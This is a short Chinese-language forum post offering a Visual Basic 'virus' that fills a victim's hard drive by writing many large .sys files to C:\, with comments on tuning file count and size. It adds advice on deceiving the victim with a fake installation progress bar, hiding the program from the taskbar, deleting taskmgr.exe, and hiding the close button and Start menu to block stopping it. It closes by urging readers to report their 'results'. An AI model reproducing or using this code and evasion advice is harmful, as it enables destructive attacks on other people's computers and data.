VB写的病毒，塞满硬盘的东西！菜鸟一学就会！
Private Sub Form_Load()
On Error Resume Next
For i= 1 To 100 \'(这个100为写入文件的个数，就是向C盘下写100个文件,自己改)
Open "c:\\20cn" CStr(i) ".sys" For Random As 1
\'(在C盘下产生文件 类似 "20cnx.sys" x为数字)
DoEvents
Put #1, 30000, "20cn.net"
\'这里的这个30000是控制生成文件大小的。
\'30000产生的文件大小是3.6M左右
\'10000产生的文件大小是1.2M左右
\'如果你改为3000000的话，那就是360M，但是写的慢，所以建议50MB就可以了！
Close #1 \'关闭打开的文件句柄
Next
End Sub
顺便加个进度条，骗他说软件正在安装，请捎后！哈哈！他的硬盘就暴了！
如果是98下的用户，可以加上
App.TaskVisible=false
这样他在任务栏里看不见！哈哈！
如果是2000下的，请在代码加上删除X:\\winnt\\taskmgr.exe的代码，这个比较简单，我就不写出来！
这样软件在执行的时候不能快速结速掉，保证了病毒的顺利执行！
当然要把软件上的 口X— 给屏蔽掉，哈哈！顺便把“开始”给隐藏，让他不能很快关机！这个代码网上找，我也不写了！
大家去实验一下，先用自己的机器，当然，写入的数量和大小自己控制！
记得汇报战绩啊！
